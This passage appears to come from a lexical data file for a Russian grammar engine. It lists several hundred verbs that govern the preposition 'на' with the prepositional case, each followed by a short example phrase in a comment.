rus_verbs:проплывать{}, // проплывать на катере rus_verbs:засесть{}, // засесть на чердаке rus_verbs:подцепить{}, // подцепить на дискотеке rus_verbs:обыскать{}, // обыскать на входе rus_verbs:оправдаться{}, // оправдаться на суде rus_verbs:раскрываться{}, // раскрываться на сцене rus_verbs:одеваться{}, // одеваться на вещевом рынке rus_verbs:засветиться{}, // засветиться на фотографиях rus_verbs:употребляться{}, // употребляться на птицефабриках rus_verbs:грабить{}, // грабить на пустыре rus_verbs:гонять{}, // гонять на повышенных оборотах rus_verbs:развеваться{}, // развеваться на древке rus_verbs:основываться{}, // основываться на безусловных фактах rus_verbs:допрашивать{}, // допрашивать на базе rus_verbs:проработать{}, // проработать на стройке rus_verbs:сосредоточить{}, // сосредоточить на месте rus_verbs:сочинять{}, // сочинять на ходу rus_verbs:ползать{}, // ползать на камне rus_verbs:раскинуться{}, // раскинуться на пустыре rus_verbs:уставать{}, // уставать на работе rus_verbs:укрепить{}, // укрепить на конце rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь rus_verbs:одобрять{}, // одобрять на словах rus_verbs:приговорить{}, // приговорить на заседании тройки rus_verbs:чернеть{}, // чернеть на свету rus_verbs:гнуть{}, // гнуть на станке rus_verbs:размещаться{}, // размещаться на бирже rus_verbs:соорудить{}, // соорудить на даче rus_verbs:пастись{}, // пастись на лугу rus_verbs:формироваться{}, // формироваться на дне rus_verbs:таить{}, // таить на дне rus_verbs:приостановиться{}, // приостановиться на середине rus_verbs:топтаться{}, // топтаться на месте rus_verbs:громить{}, // громить на подступах rus_verbs:вычислить{}, // вычислить на бумажке rus_verbs:заказывать{}, // заказывать на сайте rus_verbs:осуществить{}, // осуществить на практике rus_verbs:обосноваться{}, // обосноваться на верхушке rus_verbs:пытать{}, // пытать на электрическом стуле rus_verbs:совершиться{}, // совершиться на заседании rus_verbs:свернуться{}, // свернуться на медленном огне rus_verbs:пролетать{}, // пролетать на дельтаплане rus_verbs:сбыться{}, // сбыться на самом деле rus_verbs:разговориться{}, // разговориться на уроке rus_verbs:разворачиваться{}, // разворачиваться на перекрестке rus_verbs:преподнести{}, // преподнести на блюдечке rus_verbs:напечатать{}, // напечатать на лазернике rus_verbs:прорвать{}, // прорвать на периферии rus_verbs:раскачиваться{}, // раскачиваться на доске rus_verbs:задерживаться{}, // задерживаться на старте rus_verbs:угощать{}, // угощать на вечеринке rus_verbs:шарить{}, // шарить на столе rus_verbs:увеличивать{}, // увеличивать на первом этапе rus_verbs:рехнуться{}, // рехнуться на старости лет rus_verbs:расцвести{}, // расцвести на грядке rus_verbs:закипеть{}, // закипеть на плите rus_verbs:подлететь{}, // подлететь на параплане rus_verbs:рыться{}, // рыться на свалке rus_verbs:добираться{}, // добираться на попутках rus_verbs:продержаться{}, // продержаться на вершине rus_verbs:разыскивать{}, // разыскивать на выставках rus_verbs:освобождать{}, // освобождать на заседании rus_verbs:передвигаться{}, // передвигаться на самокате rus_verbs:проявиться{}, // проявиться на свету rus_verbs:заскользить{}, // заскользить на льду rus_verbs:пересказать{}, // пересказать на сцене студенческого театра rus_verbs:протестовать{}, // протестовать на улице rus_verbs:указываться{}, // указываться на табличках rus_verbs:прискакать{}, // прискакать на лошадке rus_verbs:копошиться{}, // копошиться на свежем воздухе rus_verbs:подсчитать{}, // подсчитать на бумажке rus_verbs:разволноваться{}, // разволноваться на экзамене rus_verbs:завертеться{}, // завертеться на полу rus_verbs:ознакомиться{}, // ознакомиться на ходу rus_verbs:ржать{}, // ржать на уроке rus_verbs:раскинуть{}, // раскинуть на грядках rus_verbs:разгромить{}, // разгромить на ринге rus_verbs:подслушать{}, // подслушать на совещании rus_verbs:описываться{}, // описываться на страницах книги rus_verbs:качаться{}, // качаться на стуле rus_verbs:усилить{}, // усилить на флангах rus_verbs:набросать{}, // набросать на клочке картона rus_verbs:расстреливать{}, // расстреливать на подходе rus_verbs:запрыгать{}, // запрыгать на одной ноге rus_verbs:сыскать{}, // сыскать на чужбине rus_verbs:подтвердиться{}, // подтвердиться на практике rus_verbs:плескаться{}, // плескаться на мелководье rus_verbs:расширяться{}, // расширяться на конце rus_verbs:подержать{}, // подержать на солнце rus_verbs:планироваться{}, // планироваться на общем собрании rus_verbs:сгинуть{}, // сгинуть на чужбине rus_verbs:замкнуться{}, // замкнуться на точке rus_verbs:закачаться{}, // закачаться на ветру rus_verbs:перечитывать{}, // перечитывать на ходу rus_verbs:перелететь{}, // перелететь на дельтаплане rus_verbs:оживать{}, // оживать на солнце rus_verbs:женить{}, // женить на богатой невесте rus_verbs:заглохнуть{}, // заглохнуть на старте rus_verbs:копаться{}, // копаться на полу rus_verbs:развлекаться{}, // развлекаться на дискотеке rus_verbs:печататься{}, // печататься на струйном принтере rus_verbs:обрываться{}, // обрываться на полуслове rus_verbs:ускакать{}, // ускакать на лошадке rus_verbs:подписывать{}, // подписывать на столе rus_verbs:добывать{}, // добывать на выработке rus_verbs:скопиться{}, // скопиться на выходе rus_verbs:повстречать{}, // повстречать на пути rus_verbs:поцеловаться{}, // поцеловаться на площади rus_verbs:растянуть{}, // растянуть на столе rus_verbs:подаваться{}, // подаваться на благотворительном обеде rus_verbs:повстречаться{}, // повстречаться на митинге rus_verbs:примоститься{}, // примоститься на ступеньках rus_verbs:отразить{}, // отразить на страницах доклада rus_verbs:пояснять{}, // пояснять на страницах приложения rus_verbs:накормить{}, // накормить на кухне rus_verbs:поужинать{}, // поужинать на веранде инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге деепричастие:спев{}, инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш }, rus_verbs:топить{}, // топить на мелководье rus_verbs:освоить{}, // освоить на практике rus_verbs:распластаться{}, // распластаться на травке rus_verbs:отплыть{}, // отплыть на старом каяке rus_verbs:улетать{}, // улетать на любом самолете rus_verbs:отстаивать{}, // отстаивать на корте rus_verbs:осуждать{}, // осуждать на словах rus_verbs:переговорить{}, // переговорить на обеде rus_verbs:укрыть{}, // укрыть на чердаке rus_verbs:томиться{}, // томиться на привязи rus_verbs:сжигать{}, // сжигать на полигоне rus_verbs:позавтракать{}, // позавтракать на лоне природы rus_verbs:функционировать{}, // функционирует на солнечной энергии rus_verbs:разместить{}, // разместить на сайте rus_verbs:пронести{}, // пронести на теле rus_verbs:нашарить{}, // нашарить на столе rus_verbs:корчиться{}, // корчиться на полу rus_verbs:распознать{}, // распознать на снимке rus_verbs:повеситься{}, // повеситься на шнуре rus_verbs:обозначиться{}, // обозначиться на картах rus_verbs:оступиться{}, // оступиться на скользком льду rus_verbs:подносить{}, // подносить на блюдечке rus_verbs:расстелить{}, // расстелить на газоне rus_verbs:обсуждаться{}, // обсуждаться на собрании rus_verbs:расписаться{}, // расписаться на бланке rus_verbs:плестись{}, // плестись на привязи rus_verbs:объявиться{}, // объявиться на сцене rus_verbs:повышаться{}, // повышаться на первом датчике rus_verbs:разрабатывать{}, // разрабатывать на заводе rus_verbs:прерывать{}, // прерывать на середине rus_verbs:каяться{}, // каяться на публике rus_verbs:освоиться{}, // освоиться на лошади rus_verbs:подплыть{}, // подплыть на плоту rus_verbs:оскорбить{}, // оскорбить на митинге rus_verbs:торжествовать{}, // торжествовать на пьедестале rus_verbs:поправлять{}, // поправлять на одежде rus_verbs:отражать{}, // отражать на картине rus_verbs:дремать{}, // дремать на кушетке rus_verbs:применяться{}, // применяться на производстве стали rus_verbs:поражать{}, // поражать на большой дистанции rus_verbs:расстрелять{}, // расстрелять на окраине хутора rus_verbs:рассчитать{}, // рассчитать на калькуляторе rus_verbs:записывать{}, // записывать на ленте rus_verbs:перебирать{}, // перебирать на ладони rus_verbs:разбиться{}, // разбиться на катере rus_verbs:поискать{}, // поискать на ферме rus_verbs:прятать{}, // прятать на заброшенном складе rus_verbs:пропеть{}, // пропеть на эстраде rus_verbs:замелькать{}, // замелькать на экране rus_verbs:грустить{}, // грустить на веранде rus_verbs:крутить{}, // крутить на оси rus_verbs:подготовить{}, // подготовить на конспиративной квартире rus_verbs:различать{}, // различать на картинке rus_verbs:киснуть{}, // киснуть на чужбине rus_verbs:оборваться{}, // оборваться на полуслове rus_verbs:запутаться{}, // запутаться на простейшем тесте rus_verbs:общаться{}, // общаться на уроке rus_verbs:производиться{}, // производиться на фабрике rus_verbs:сочинить{}, // сочинить на досуге rus_verbs:давить{}, // давить на лице rus_verbs:разработать{}, // разработать на секретном предприятии rus_verbs:качать{}, // качать на качелях rus_verbs:тушить{}, // тушить на крыше пожар rus_verbs:охранять{}, // охранять на территории базы rus_verbs:приметить{}, // приметить на взгорке rus_verbs:скрыть{}, // скрыть на теле rus_verbs:удерживать{}, // удерживать на руке rus_verbs:усвоить{}, // усвоить на уроке rus_verbs:растаять{}, // растаять на солнечной стороне rus_verbs:красоваться{}, // красоваться на виду rus_verbs:сохраняться{}, // сохраняться на холоде rus_verbs:лечить{}, // лечить на дому rus_verbs:прокатиться{}, // прокатиться на уницикле rus_verbs:договариваться{}, // договариваться на нейтральной территории rus_verbs:качнуться{}, // качнуться на одной ноге rus_verbs:опубликовать{}, // опубликовать на сайте rus_verbs:отражаться{}, // отражаться на поверхности воды rus_verbs:обедать{}, // обедать на веранде rus_verbs:посидеть{}, // посидеть на лавочке rus_verbs:сообщаться{}, // сообщаться на официальном сайте rus_verbs:свершиться{}, // свершиться на заседании rus_verbs:ночевать{}, // ночевать на даче rus_verbs:темнеть{}, // темнеть на свету rus_verbs:гибнуть{}, // гибнуть на территории полигона rus_verbs:усиливаться{}, // усиливаться на территории округа rus_verbs:проживать{}, // проживать на даче rus_verbs:исследовать{}, // исследовать на большой глубине rus_verbs:обитать{}, // обитать на громадной глубине rus_verbs:сталкиваться{}, // сталкиваться на большой высоте rus_verbs:таиться{}, // таиться на большой глубине rus_verbs:спасать{}, // спасать на пожаре rus_verbs:сказываться{}, // сказываться на общем результате rus_verbs:заблудиться{}, // заблудиться на стройке rus_verbs:пошарить{}, // пошарить на полках rus_verbs:планировать{}, // планировать на бумаге rus_verbs:ранить{}, // ранить на полигоне rus_verbs:хлопать{}, // хлопать на сцене rus_verbs:основать{}, // основать на горе новый монастырь rus_verbs:отбить{}, // отбить на столе rus_verbs:отрицать{}, // отрицать на заседании комиссии rus_verbs:устоять{}, // устоять на ногах rus_verbs:отзываться{}, // отзываться на страницах отчёта rus_verbs:притормозить{}, // притормозить на обочине rus_verbs:читаться{}, // читаться на лице rus_verbs:заиграть{}, // заиграть на саксофоне rus_verbs:зависнуть{}, // зависнуть на игровой площадке rus_verbs:сознаться{}, // сознаться на допросе rus_verbs:выясняться{}, // выясняться на очной ставке rus_verbs:наводить{}, // наводить на столе порядок rus_verbs:покоиться{}, // покоиться на кладбище rus_verbs:значиться{}, // значиться на бейджике rus_verbs:съехать{}, // съехать на санках rus_verbs:познакомить{}, // познакомить на свадьбе rus_verbs:завязать{}, // завязать на спине rus_verbs:грохнуть{}, // грохнуть на площади rus_verbs:разъехаться{}, // разъехаться на узкой дороге rus_verbs:столпиться{}, // столпиться на крыльце rus_verbs:порыться{}, // порыться на полках rus_verbs:ослабить{}, // ослабить на шее rus_verbs:оправдывать{}, // оправдывать на суде rus_verbs:обнаруживаться{}, // обнаруживаться на складе rus_verbs:спастись{}, // спастись на дереве rus_verbs:прерваться{}, // прерваться на полуслове rus_verbs:строиться{}, // строиться на пустыре rus_verbs:познать{}, // познать на практике rus_verbs:путешествовать{}, // путешествовать на поезде rus_verbs:побеждать{}, // побеждать на ринге rus_verbs:рассматриваться{}, // рассматриваться на заседании rus_verbs:продаваться{}, // продаваться на открытом рынке rus_verbs:разместиться{}, // разместиться на базе rus_verbs:завыть{}, // завыть на холме rus_verbs:настигнуть{}, // настигнуть на окраине rus_verbs:укрыться{}, // укрыться на чердаке rus_verbs:расплакаться{}, // расплакаться на заседании комиссии rus_verbs:заканчивать{}, // заканчивать на последнем задании rus_verbs:пролежать{}, // пролежать на столе rus_verbs:громоздиться{}, // громоздиться на полу rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе rus_verbs:поскользнуться{}, // поскользнуться на льду rus_verbs:таскать{}, // таскать на спине rus_verbs:просматривать{}, // просматривать на сайте rus_verbs:обдумать{}, // обдумать на досуге rus_verbs:гадать{}, // гадать на кофейной гуще rus_verbs:останавливать{}, // останавливать на выходе rus_verbs:обозначать{}, // обозначать на странице rus_verbs:долететь{}, // долететь на спортивном байке rus_verbs:тесниться{}, // тесниться на чердачке rus_verbs:хоронить{}, // хоронить на частном кладбище rus_verbs:установиться{}, // установиться на юге rus_verbs:прикидывать{}, // прикидывать на клочке бумаги rus_verbs:затаиться{}, // затаиться на дереве rus_verbs:раздобыть{}, // раздобыть на складе rus_verbs:перебросить{}, // перебросить на вертолетах rus_verbs:захватывать{}, // захватывать на базе rus_verbs:сказаться{}, // сказаться на итоговых оценках rus_verbs:покачиваться{}, // покачиваться на волнах rus_verbs:крутиться{}, // крутиться на кухне rus_verbs:помещаться{}, // помещаться на полке rus_verbs:питаться{}, // питаться на помойке rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле rus_verbs:кататься{}, // кататься на велике rus_verbs:поработать{}, // поработать на стройке rus_verbs:ограбить{}, // ограбить на пустыре rus_verbs:зарабатывать{}, // зарабатывать на бирже rus_verbs:преуспеть{}, // преуспеть на ниве искусства rus_verbs:заерзать{}, // заерзать на стуле rus_verbs:разъяснить{}, // разъяснить на полях rus_verbs:отчеканить{}, // отчеканить на медной пластине rus_verbs:торговать{}, // торговать на рынке rus_verbs:поколебаться{}, // поколебаться на пороге rus_verbs:прикинуть{}, // прикинуть на бумажке rus_verbs:рассечь{}, // рассечь на тупом конце rus_verbs:посмеяться{}, // посмеяться на переменке rus_verbs:остыть{}, // остыть на морозном воздухе rus_verbs:запереться{}, // запереться на чердаке rus_verbs:обогнать{}, // обогнать на повороте rus_verbs:подтянуться{}, // подтянуться на турнике rus_verbs:привозить{}, // привозить на машине rus_verbs:подбирать{}, // подбирать на полу rus_verbs:уничтожать{}, // уничтожать на подходе rus_verbs:притаиться{}, // притаиться на вершине rus_verbs:плясать{}, // плясать на костях rus_verbs:поджидать{}, // поджидать на вокзале rus_verbs:закончить{}, // Мы закончили игру на самом интересном месте (САМ не может быть первым прилагательным в цепочке!) rus_verbs:смениться{}, // смениться на посту rus_verbs:посчитать{}, // посчитать на пальцах rus_verbs:прицелиться{}, // прицелиться на бегу rus_verbs:нарисовать{}, // нарисовать на стене rus_verbs:прыгать{}, // прыгать на сцене rus_verbs:повертеть{}, // повертеть на пальце rus_verbs:попрощаться{}, // попрощаться на панихиде инфинитив:просыпаться{ вид:соверш }, глагол:просыпаться{ вид:соверш }, // просыпаться на диване rus_verbs:разобрать{}, // разобрать на столе rus_verbs:помереть{}, // помереть на чужбине rus_verbs:различить{}, // различить на нечеткой фотографии rus_verbs:рисовать{}, // рисовать на доске rus_verbs:проследить{}, // проследить на экране rus_verbs:задремать{}, // задремать на диване rus_verbs:ругаться{}, // ругаться на людях rus_verbs:сгореть{}, // сгореть на работе rus_verbs:зазвучать{}, // зазвучать на коротких волнах rus_verbs:задохнуться{}, // задохнуться на вершине горы rus_verbs:порождать{}, // порождать на поверхности небольшую рябь rus_verbs:отдыхать{}, // отдыхать на курорте rus_verbs:образовать{}, // образовать на дне толстый слой rus_verbs:поправиться{}, // поправиться на дармовых харчах rus_verbs:отмечать{}, // отмечать на календаре rus_verbs:реять{}, // реять на флагштоке rus_verbs:ползти{}, // ползти на коленях rus_verbs:продавать{}, // продавать на аукционе rus_verbs:сосредоточиться{}, // сосредоточиться на основной задаче rus_verbs:рыскать{}, // мышки рыскали на кухне rus_verbs:расстегнуть{}, // расстегнуть на куртке все пуговицы rus_verbs:напасть{}, // напасть на территории другого государства rus_verbs:издать{}, // издать на западе rus_verbs:оставаться{}, // оставаться на страже порядка rus_verbs:появиться{}, // наконец появиться на экране rus_verbs:лежать{}, // лежать на столе rus_verbs:ждать{}, // ждать на берегу инфинитив:писать{aux stress="пис^ать"}, // писать на бумаге глагол:писать{aux stress="пис^ать"}, rus_verbs:оказываться{}, // оказываться на полу rus_verbs:поставить{}, // поставить на столе rus_verbs:держать{}, // держать на крючке rus_verbs:выходить{}, // выходить на остановке rus_verbs:заговорить{}, // заговорить на китайском языке rus_verbs:ожидать{}, // ожидать на стоянке rus_verbs:закричать{}, // закричал на минарете муэдзин rus_verbs:простоять{}, // простоять на посту rus_verbs:продолжить{}, // продолжить на первом этаже rus_verbs:ощутить{}, // ощутить на себе влияние кризиса rus_verbs:состоять{}, // состоять на учете rus_verbs:готовиться{}, инфинитив:акклиматизироваться{вид:несоверш}, // альпинисты готовятся акклиматизироваться на новой высоте глагол:акклиматизироваться{вид:несоверш}, rus_verbs:арестовать{}, // грабители были арестованы на месте преступления rus_verbs:схватить{}, // грабители были схвачены на месте преступления инфинитив:атаковать{ вид:соверш }, // взвод был атакован на границе глагол:атаковать{ вид:соверш }, прилагательное:атакованный{ вид:соверш }, прилагательное:атаковавший{ вид:соверш }, rus_verbs:базировать{}, // установка будет базирована на границе rus_verbs:базироваться{}, // установка базируется на границе rus_verbs:барахтаться{}, // дети барахтались на мелководье rus_verbs:браконьерить{}, // Охотники браконьерили ночью на реке rus_verbs:браконьерствовать{}, // Охотники ночью браконьерствовали на реке rus_verbs:бренчать{}, // парень что-то бренчал на гитаре rus_verbs:бренькать{}, // парень что-то бренькает на гитаре rus_verbs:начать{}, // Рынок акций РФ начал торги на отрицательной территории. rus_verbs:буксовать{}, // Колеса буксуют на льду rus_verbs:вертеться{}, // Непоседливый ученик много вертится на стуле rus_verbs:взвести{}, // Боец взвел на оружии предохранитель rus_verbs:вилять{}, // Машина сильно виляла на дороге rus_verbs:висеть{}, // Яблоко висит на ветке rus_verbs:возлежать{}, // возлежать на лежанке rus_verbs:подниматься{}, // Мы поднимаемся на лифте rus_verbs:подняться{}, // Мы поднимемся на лифте rus_verbs:восседать{}, // Коля восседает на лошади rus_verbs:воссиять{}, // Луна воссияла на небе rus_verbs:воцариться{}, // Мир воцарился на всей земле rus_verbs:воцаряться{}, // Мир воцаряется на всей земле rus_verbs:вращать{}, // вращать на поясе rus_verbs:вращаться{}, // вращаться на поясе rus_verbs:встретить{}, // встретить друга на улице rus_verbs:встретиться{}, // встретиться на занятиях rus_verbs:встречать{}, // встречать на занятиях rus_verbs:въебывать{}, // въебывать на работе rus_verbs:въезжать{}, // въезжать на автомобиле rus_verbs:въехать{}, // въехать на автомобиле rus_verbs:выгорать{}, // ткань выгорает на солнце rus_verbs:выгореть{}, // ткань выгорела на солнце rus_verbs:выгравировать{}, // выгравировать на табличке надпись rus_verbs:выжить{}, // выжить на необитаемом острове rus_verbs:вылежаться{}, // помидоры вылежались на солнце rus_verbs:вылеживаться{}, // вылеживаться на солнце rus_verbs:выместить{}, // выместить на ком-то злобу rus_verbs:вымещать{}, // вымещать на ком-то свое раздражение rus_verbs:вымещаться{}, // вымещаться на ком-то rus_verbs:выращивать{}, // выращивать на грядке помидоры rus_verbs:выращиваться{}, // выращиваться на грядке инфинитив:вырезать{вид:соверш}, // вырезать на доске надпись глагол:вырезать{вид:соверш}, инфинитив:вырезать{вид:несоверш}, глагол:вырезать{вид:несоверш}, rus_verbs:вырисоваться{}, // вырисоваться на графике rus_verbs:вырисовываться{}, // вырисовываться на графике rus_verbs:высаживать{}, // высаживать на необитаемом острове rus_verbs:высаживаться{}, // высаживаться на острове rus_verbs:высвечивать{}, // высвечивать на дисплее температуру rus_verbs:высвечиваться{}, // высвечиваться на дисплее rus_verbs:выстроить{}, // выстроить на фундаменте rus_verbs:выстроиться{}, // выстроиться на плацу rus_verbs:выстудить{}, // выстудить на морозе rus_verbs:выстудиться{}, // выстудиться на морозе rus_verbs:выстужать{}, // выстужать на морозе rus_verbs:выстуживать{}, // выстуживать на морозе rus_verbs:выстуживаться{}, // выстуживаться на морозе rus_verbs:выстукать{}, // выстукать на клавиатуре rus_verbs:выстукивать{}, // выстукивать на клавиатуре rus_verbs:выстукиваться{}, // выстукиваться на клавиатуре rus_verbs:выступать{}, // выступать на сцене rus_verbs:выступить{}, // выступить на сцене rus_verbs:выстучать{}, // выстучать на клавиатуре rus_verbs:выстывать{}, // выстывать на морозе rus_verbs:выстыть{}, // выстыть на морозе rus_verbs:вытатуировать{}, // вытатуировать на руке якорь rus_verbs:говорить{}, // говорить на повышенных тонах rus_verbs:заметить{}, // заметить на берегу rus_verbs:стоять{}, // твёрдо стоять на ногах rus_verbs:оказаться{}, // оказаться на передовой линии rus_verbs:почувствовать{}, // почувствовать на своей шкуре rus_verbs:остановиться{}, // остановиться на первом пункте rus_verbs:показаться{}, // показаться на горизонте rus_verbs:чувствовать{}, // чувствовать на своей шкуре rus_verbs:искать{}, // искать на открытом пространстве rus_verbs:иметься{}, // иметься на складе rus_verbs:клясться{}, // клясться на Коране rus_verbs:прервать{}, // прервать на полуслове rus_verbs:играть{}, // играть на чувствах rus_verbs:спуститься{}, // спуститься на парашюте rus_verbs:понадобиться{}, // понадобиться на экзамене rus_verbs:служить{}, // служить на флоте rus_verbs:подобрать{}, // подобрать на улице rus_verbs:появляться{}, // появляться на сцене rus_verbs:селить{}, // селить на чердаке rus_verbs:поймать{}, // поймать на границе rus_verbs:увидать{}, // увидать на опушке rus_verbs:подождать{}, // подождать на перроне rus_verbs:прочесть{}, // прочесть на полях rus_verbs:тонуть{}, // тонуть на мелководье rus_verbs:ощущать{}, // ощущать на коже rus_verbs:отметить{}, // отметить на полях rus_verbs:показывать{}, // показывать на графике rus_verbs:разговаривать{}, // разговаривать на иностранном языке rus_verbs:прочитать{}, // прочитать на сайте rus_verbs:попробовать{}, // попробовать на практике rus_verbs:замечать{}, // замечать на коже грязь rus_verbs:нести{}, // нести на плечах rus_verbs:носить{}, // носить на голове rus_verbs:гореть{}, // гореть на работе rus_verbs:застыть{}, // застыть на пороге инфинитив:жениться{ вид:соверш }, // жениться на королеве глагол:жениться{ вид:соверш }, прилагательное:женатый{}, прилагательное:женившийся{}, rus_verbs:спрятать{}, // спрятать на чердаке rus_verbs:развернуться{}, // развернуться на плацу rus_verbs:строить{}, // строить на песке rus_verbs:устроить{}, // устроить на даче тестральный вечер rus_verbs:настаивать{}, // настаивать на выполнении приказа rus_verbs:находить{}, // находить на берегу rus_verbs:мелькнуть{}, // мелькнуть на экране rus_verbs:очутиться{}, // очутиться на опушке леса инфинитив:использовать{вид:соверш}, // использовать на работе глагол:использовать{вид:соверш}, инфинитив:использовать{вид:несоверш}, глагол:использовать{вид:несоверш}, прилагательное:использованный{}, прилагательное:использующий{}, прилагательное:использовавший{}, rus_verbs:лететь{}, // лететь на воздушном шаре rus_verbs:смеяться{}, // смеяться на сцене rus_verbs:ездить{}, // ездить на мопеде rus_verbs:заснуть{}, // заснуть на диване rus_verbs:застать{}, // застать на рабочем месте rus_verbs:очнуться{}, // очнуться на больничной койке rus_verbs:разглядеть{}, // разглядеть на фотографии rus_verbs:обойти{}, // обойти на вираже rus_verbs:удержаться{}, // удержаться на троне rus_verbs:побывать{}, // побывать на другой планете rus_verbs:заняться{}, // заняться на выходных делом rus_verbs:вянуть{}, // вянуть на солнце rus_verbs:постоять{}, // постоять на голове rus_verbs:приобрести{}, // приобрести на распродаже rus_verbs:попасться{}, // попасться на краже rus_verbs:продолжаться{}, // продолжаться на земле rus_verbs:открывать{}, // открывать на арене rus_verbs:создавать{}, // создавать на сцене rus_verbs:обсуждать{}, // обсуждать на кухне rus_verbs:отыскать{}, // отыскать на полу rus_verbs:уснуть{}, // уснуть на диване rus_verbs:задержаться{}, // задержаться на работе rus_verbs:курить{}, // курить на свежем воздухе rus_verbs:приподняться{}, // приподняться на локтях rus_verbs:установить{}, // установить на вершине rus_verbs:запереть{}, // запереть на балконе rus_verbs:синеть{}, // синеть на воздухе rus_verbs:убивать{}, // убивать на нейтральной территории rus_verbs:скрываться{}, // скрываться на даче rus_verbs:родить{}, // родить на полу rus_verbs:описать{}, // описать на страницах книги rus_verbs:перехватить{}, // перехватить на подлете rus_verbs:скрывать{}, // скрывать на даче rus_verbs:сменить{}, // сменить на посту rus_verbs:мелькать{}, // мелькать на экране rus_verbs:присутствовать{}, // присутствовать на мероприятии rus_verbs:украсть{}, // украсть на рынке rus_verbs:победить{}, // победить на ринге rus_verbs:упомянуть{}, // упомянуть на страницах романа rus_verbs:плыть{}, // плыть на старой лодке rus_verbs:повиснуть{}, // повиснуть на перекладине rus_verbs:нащупать{}, // нащупать на дне rus_verbs:затихнуть{}, // затихнуть на дне rus_verbs:построить{}, // построить на участке rus_verbs:поддерживать{}, // поддерживать на поверхности rus_verbs:заработать{}, // заработать на бирже rus_verbs:провалиться{}, // провалиться на экзамене rus_verbs:сохранить{}, // сохранить на диске rus_verbs:располагаться{}, // располагаться на софе rus_verbs:поклясться{}, // поклясться на библии rus_verbs:сражаться{}, // сражаться на арене rus_verbs:спускаться{}, // спускаться на дельтаплане rus_verbs:уничтожить{}, // уничтожить на подступах rus_verbs:изучить{}, // изучить на практике rus_verbs:рождаться{}, // рождаться на праздниках rus_verbs:прилететь{}, // прилететь на самолете rus_verbs:догнать{}, // догнать на перекрестке rus_verbs:изобразить{}, // изобразить на бумаге rus_verbs:проехать{}, // проехать на тракторе rus_verbs:приготовить{}, // приготовить на масле rus_verbs:споткнуться{}, // споткнуться на полу rus_verbs:собирать{}, // собирать на берегу rus_verbs:отсутствовать{}, // отсутствовать на тусовке rus_verbs:приземлиться{}, // приземлиться на военном аэродроме rus_verbs:сыграть{}, // сыграть на трубе rus_verbs:прятаться{}, // прятаться на даче rus_verbs:спрятаться{}, // спрятаться на чердаке rus_verbs:провозгласить{}, // провозгласить на митинге rus_verbs:изложить{}, // изложить на бумаге rus_verbs:использоваться{}, // использоваться на практике rus_verbs:замяться{}, // замяться на входе rus_verbs:раздаваться{}, // Крик ягуара раздается на краю болота rus_verbs:сверкнуть{}, // сверкнуть на солнце rus_verbs:сверкать{}, // сверкать на свету rus_verbs:задержать{}, // задержать на митинге rus_verbs:осечься{}, // осечься на первом слове rus_verbs:хранить{}, // хранить на банковском счету rus_verbs:шутить{}, // шутить на уроке rus_verbs:кружиться{}, // кружиться на балу rus_verbs:чертить{}, // чертить на доске rus_verbs:отразиться{}, // отразиться на оценках rus_verbs:греть{}, // греть на солнце rus_verbs:рассуждать{}, // рассуждать на страницах своей книги rus_verbs:окружать{}, // окружать на острове rus_verbs:сопровождать{}, // сопровождать на охоте rus_verbs:заканчиваться{}, // заканчиваться на самом интересном месте rus_verbs:содержаться{}, // содержаться на приусадебном участке rus_verbs:поселиться{}, // поселиться на даче rus_verbs:запеть{}, // запеть на сцене инфинитив:провозить{ вид:несоверш }, // провозить на теле глагол:провозить{ вид:несоверш }, прилагательное:провезенный{}, прилагательное:провозивший{вид:несоверш}, прилагательное:провозящий{вид:несоверш}, деепричастие:провозя{}, rus_verbs:мочить{}, // мочить на месте rus_verbs:преследовать{}, // преследовать на территории другого штата rus_verbs:пролететь{}, // пролетел на параплане rus_verbs:драться{}, // драться на рапирах rus_verbs:просидеть{}, // просидеть на занятиях rus_verbs:убираться{}, // убираться на балконе rus_verbs:таять{}, // таять на солнце rus_verbs:проверять{}, // проверять на полиграфе rus_verbs:убеждать{}, // убеждать на примере rus_verbs:скользить{}, // скользить на льду rus_verbs:приобретать{}, // приобретать на распродаже rus_verbs:летать{}, // летать на метле rus_verbs:толпиться{}, // толпиться на перроне rus_verbs:плавать{}, // плавать на надувном матрасе rus_verbs:описывать{}, // описывать на страницах повести rus_verbs:пробыть{}, // пробыть на солнце слишком долго rus_verbs:застрять{}, // застрять на верхнем этаже rus_verbs:метаться{}, // метаться на полу rus_verbs:сжечь{}, // сжечь на костре rus_verbs:расслабиться{}, // расслабиться на кушетке rus_verbs:услыхать{}, // услыхать на рынке rus_verbs:удержать{}, // удержать на прежнем уровне rus_verbs:образоваться{}, // образоваться на дне rus_verbs:рассмотреть{}, // рассмотреть на поверхности чипа rus_verbs:уезжать{}, // уезжать на попутке rus_verbs:похоронить{}, // похоронить на закрытом кладбище rus_verbs:настоять{}, // настоять на пересмотре оценок rus_verbs:растянуться{}, // растянуться на горячем песке rus_verbs:покрутить{}, // покрутить на шесте rus_verbs:обнаружиться{}, // обнаружиться на болоте rus_verbs:гулять{}, // гулять на свадьбе rus_verbs:утонуть{}, // утонуть на курорте rus_verbs:храниться{}, // храниться на депозите rus_verbs:танцевать{}, // танцевать на свадьбе rus_verbs:трудиться{}, // трудиться на заводе инфинитив:засыпать{переходность:непереходный вид:несоверш}, // засыпать на кровати глагол:засыпать{переходность:непереходный вид:несоверш}, деепричастие:засыпая{переходность:непереходный вид:несоверш}, прилагательное:засыпавший{переходность:непереходный вид:несоверш}, прилагательное:засыпающий{ вид:несоверш переходность:непереходный }, // ребенок, засыпающий на руках rus_verbs:сушить{}, // сушить на открытом воздухе rus_verbs:зашевелиться{}, // зашевелиться на чердаке rus_verbs:обдумывать{}, // обдумывать на досуге rus_verbs:докладывать{}, // докладывать на научной конференции rus_verbs:промелькнуть{}, // промелькнуть на экране // прилагательное:находящийся{ вид:несоверш }, // колонна, находящаяся на ничейной территории прилагательное:написанный{}, // слово, написанное на заборе rus_verbs:умещаться{}, // компьютер, умещающийся на ладони rus_verbs:открыть{}, // книга, открытая на последней странице rus_verbs:спать{}, // йог, спящий на гвоздях rus_verbs:пробуксовывать{}, // колесо, пробуксовывающее на обледенелом асфальте rus_verbs:забуксовать{}, // колесо, забуксовавшее на обледенелом асфальте rus_verbs:отобразиться{}, // удивление, отобразившееся на лице rus_verbs:увидеть{}, // на полу я увидел чьи-то следы rus_verbs:видеть{}, // на полу я вижу чьи-то следы 